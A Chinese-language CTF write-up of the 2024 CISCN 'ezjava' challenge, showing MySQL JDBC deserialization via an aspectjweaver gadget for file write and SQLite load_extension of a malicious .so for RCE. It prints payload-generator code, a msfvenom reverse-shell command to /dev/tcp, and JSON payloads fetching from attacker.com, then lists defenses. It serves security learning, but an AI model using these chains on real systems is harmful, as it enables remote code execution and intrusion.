2024ciscn ezjava复现
字数 1429 2025-08-22 12:23:12

JDBC 漏洞利用与攻击技术深度分析

1. 漏洞背景与概述

本文详细分析2024年CISCN比赛中"ezjava"题目的漏洞利用技术,主要涉及两种攻击路径:

  1. MySQL JDBC反序列化漏洞利用
  2. SQLite JDBC加载恶意so文件实现RCE

2. 环境分析

2.1 项目依赖分析

从pom.xml文件中可以看到关键依赖:

<dependencies>
    <!-- 可能被利用的数据库驱动 -->
    <dependency>
        <groupId>org.xerial</groupId>
        <artifactId>sqlite-jdbc</artifactId>
        <version>3.8.9</version>
    </dependency>
    <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.13</version>
    </dependency>
    <dependency>
        <groupId>org.postgresql</groupId>
        <artifactId>postgresql</artifactId>
        <version>42.7.2</version>
    </dependency>
    
    <!-- 反序列化利用关键组件 -->
    <dependency>
        <groupId>org.aspectj</groupId>
        <artifactId>aspectjweaver</artifactId>
        <version>1.9.5</version>
        <scope>runtime</scope>
    </dependency>
</dependencies>

3. MySQL JDBC反序列化攻击

3.1 攻击原理

利用MySQL JDBC客户端在特定配置下会反序列化服务器返回的数据的特性,结合aspectjweaver组件的文件写入功能,实现任意文件写入和代码执行。

3.2 关键代码分析

3.2.1 UserBean类

public class UserBean implements Serializable {
    private String name;
    private String age;
    private Object obj;
    
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        HashMap<String, byte[]> a = (HashMap) gf.get("obj", null);
        String name = (String) gf.get("name", null);
        String age = (String) gf.get("age", null);
        
        if (a == null) return;
        
        try {
            a.put(name, Base64.getDecoder().decode(age));
        } catch (Exception var7) {
            var7.printStackTrace();
        }
    }
}

关键点:

  • 可控的readObject方法
  • 可以触发HashMap.put()操作
  • 可以控制写入的内容(Base64解码后的age)和文件名(name)

3.2.2 利用链构造

利用aspectjweaver的SimpleCache$StoreableCachingMap类:

  1. SimpleCache$StoreableCachingMap.put()
  2. SimpleCache$StoreableCachingMap.writeToPath()
  3. FileOutputStream.write()

3.3 攻击步骤

  1. 生成恶意类文件:
public class Evil implements Serializable {
    private void readObject(java.io.ObjectInputStream s) throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}
  1. 构造Payload生成器:
public class exp1 {
    public static void main(String[] args) throws Exception {
        UserBean userBean = new UserBean();
        Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap")
            .getDeclaredConstructors()[0];
        aspectjConstructor.setAccessible(true);
        
        // 关键点:指定写入路径
        Object simpleCache = aspectjConstructor.newInstance("./target/classes", 12);
        
        userBean.setObj(simpleCache);
        userBean.setName("Evil.class");
        
        byte[] content_byte = Files.readAllBytes(new File("Evil.class").toPath());
        userBean.setAge(Base64.getEncoder().encodeToString(content_byte));
        
        // 序列化payload
        FileOutputStream fileOutputStream = new FileOutputStream("payload");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(userBean);
    }
}
  1. 搭建恶意MySQL服务器:

使用Python脚本模拟MySQL服务器,当客户端连接时返回构造的恶意序列化数据。

3.4 限制与绕过

  1. 路径问题:原题中指定了./target/classes路径,但在实际JAR包环境中可能不存在

    • 解决方案:改为写入/tmp等可写目录
  2. 二次利用

    • 第一次写入恶意class文件
    • 第二次通过MySQL JDBC返回序列化数据触发反序列化

4. SQLite JDBC攻击

4.1 攻击原理

利用SQLite的load_extension功能加载恶意so文件实现RCE。

4.2 攻击步骤

  1. 生成恶意so文件:
msfvenom -p linux/x64/exec CMD='echo bash -c "bash -i >& /dev/tcp/ip/port 0>&1"的base64编码|base64 -d|bash' -f elf-so -o evil.so
  1. 通过MySQL写入so文件:

修改之前的exp,将路径改为/tmp

Object simpleCache = aspectjConstructor.newInstance("/tmp", 12);
  1. 构造SQLite JDBC连接字符串触发:
{
    "type": "3",
    "tableName": "(select (load_extension(\"/tmp/evil.so\")));",
    "url": "jdbc:sqlite:file:/tmp/db?enable_load_extension=true"
}

4.3 进阶攻击:分阶段加载

  1. 第一阶段:上传恶意so文件
{
    "type": "3",
    "url": "jdbc:sqlite::resource:http://attacker.com/evil.so"
}
  • 会在/tmp下生成sqlite-jdbc-tmp-{hash}.db文件
  1. 第二阶段:上传恶意db文件

db文件内容:

CREATE VIEW security as SELECT (SELECT load_extension('/tmp/sqlite-jdbc-tmp-db'));

上传payload:

{
    "type": "3",
    "url": "jdbc:sqlite::resource:http://attacker.com/malicious.db",
    "tableName": "security"
}
  1. 第三阶段:触发执行
{
    "type": "3",
    "url": "jdbc:sqlite:file:/tmp/sqlite-jdbc-tmp-db?enable_load_extension=true",
    "tableName": "security"
}

5. 防御措施

  1. MySQL JDBC防御

    • 设置系统属性mysql.jdbc.deserialization.whitelist
    • 使用最新版本MySQL Connector/J
    • 避免使用不可信的MySQL服务器
  2. SQLite防御

    • 禁用load_extension功能
    • 设置SQLiteConfig.enable_load_extension(false)
    • 验证所有JDBC连接参数
  3. 通用防御

    • 限制反序列化操作
    • 使用安全管理器限制文件系统访问
    • 及时更新所有依赖库

6. 总结

本文详细分析了两种JDBC攻击方式:

  1. 通过MySQL JDBC反序列化漏洞结合aspectjweaver实现任意文件写入和代码执行
  2. 利用SQLite的load_extension功能加载恶意so文件实现RCE

这两种攻击方式都利用了JDBC驱动的高级功能,在实际开发中需要特别注意这些功能的潜在风险。

JDBC 漏洞利用与攻击技术深度分析 1. 漏洞背景与概述 本文详细分析2024年CISCN比赛中"ezjava"题目的漏洞利用技术,主要涉及两种攻击路径: MySQL JDBC反序列化漏洞利用 SQLite JDBC加载恶意so文件实现RCE 2. 环境分析 2.1 项目依赖分析 从pom.xml文件中可以看到关键依赖: 3. MySQL JDBC反序列化攻击 3.1 攻击原理 利用MySQL JDBC客户端在特定配置下会反序列化服务器返回的数据的特性,结合aspectjweaver组件的文件写入功能,实现任意文件写入和代码执行。 3.2 关键代码分析 3.2.1 UserBean类 关键点: 可控的 readObject 方法 可以触发 HashMap.put() 操作 可以控制写入的内容(Base64解码后的age)和文件名(name) 3.2.2 利用链构造 利用aspectjweaver的 SimpleCache$StoreableCachingMap 类: SimpleCache$StoreableCachingMap.put() SimpleCache$StoreableCachingMap.writeToPath() FileOutputStream.write() 3.3 攻击步骤 生成恶意类文件: 构造Payload生成器: 搭建恶意MySQL服务器: 使用Python脚本模拟MySQL服务器,当客户端连接时返回构造的恶意序列化数据。 3.4 限制与绕过 路径问题 :原题中指定了 ./target/classes 路径,但在实际JAR包环境中可能不存在 解决方案:改为写入 /tmp 等可写目录 二次利用 : 第一次写入恶意class文件 第二次通过MySQL JDBC返回序列化数据触发反序列化 4. SQLite JDBC攻击 4.1 攻击原理 利用SQLite的 load_extension 功能加载恶意so文件实现RCE。 4.2 攻击步骤 生成恶意so文件: 通过MySQL写入so文件: 修改之前的exp,将路径改为 /tmp : 构造SQLite JDBC连接字符串触发: 4.3 进阶攻击:分阶段加载 第一阶段 :上传恶意so文件 会在 /tmp 下生成 sqlite-jdbc-tmp-{hash}.db 文件 第二阶段 :上传恶意db文件 db文件内容: 上传payload: 第三阶段 :触发执行 5. 防御措施 MySQL JDBC防御 : 设置系统属性 mysql.jdbc.deserialization.whitelist 使用最新版本MySQL Connector/J 避免使用不可信的MySQL服务器 SQLite防御 : 禁用load_ extension功能 设置 SQLiteConfig.enable_load_extension(false) 验证所有JDBC连接参数 通用防御 : 限制反序列化操作 使用安全管理器限制文件系统访问 及时更新所有依赖库 6. 总结 本文详细分析了两种JDBC攻击方式: 通过MySQL JDBC反序列化漏洞结合aspectjweaver实现任意文件写入和代码执行 利用SQLite的load_ extension功能加载恶意so文件实现RCE 这两种攻击方式都利用了JDBC驱动的高级功能,在实际开发中需要特别注意这些功能的潜在风险。